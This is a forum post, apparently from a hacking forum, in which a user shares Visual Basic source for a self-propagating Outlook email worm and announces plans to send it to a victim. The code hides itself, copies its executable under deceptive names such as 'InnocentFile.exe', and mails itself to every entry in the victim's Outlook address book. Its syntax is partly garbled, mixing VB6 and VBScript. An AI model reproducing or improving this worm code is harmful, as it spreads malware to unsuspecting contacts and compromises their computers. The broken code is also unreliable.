Worm 06-21-2011, 02:29 PM
#1
It's not a virus but it's a worm,it's gonna copy itself to other computers via e-mail
A worm will do some following things
-E-mail
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits
Av's detect: "HEUR/Outlook worm"
This code is for visual basic 6!I'm try in visual basic 2008 errors!
I'm try to make this worm in notepad!And AV's detect:HEUR/Worm.Outlook.VBS Save as: .vbs (visual basic script) I'll send to victim!
I want to test! :thumbs:
Virus scan!
Good luck!
Enjoy! :thumbs:
A worm will do some following things
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits
Av's detect: "HEUR/Outlook worm"
Code:
Private Form Sub_Load()
Me.hide
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filecopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "Fwd:None"
Mail.Body = "Hey Buddy My first worm is in your email now, enjoy it !!!"&"Have a nice worm !!"
Mail.Attachments.Add = "C:\Worm1.exe"
Mail.Send
Next
ol.Quit
End SubThis code is for visual basic 6!I'm try in visual basic 2008 errors!
I'm try to make this worm in notepad!And AV's detect:HEUR/Worm.Outlook.VBS Save as: .vbs (visual basic script) I'll send to victim!
I want to test! :thumbs: Virus scan!
Good luck!

Enjoy! :thumbs:
![[Image: iqc4mt.jpg]](http://i39.tinypic.com/iqc4mt.jpg)
My website: http://juiceking.comeze.com/juiceking.html
Some Visual Basic tutorials: http://www.visual-basic-tutorials.com/index.htm
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
thanks for the share!!!
![[Image: Wfxdx.png]](http://i.imgur.com/Wfxdx.png)

![[Image: rytwG00.png]](http://i.imgur.com/rytwG00.png)
Good luck! :thumbs: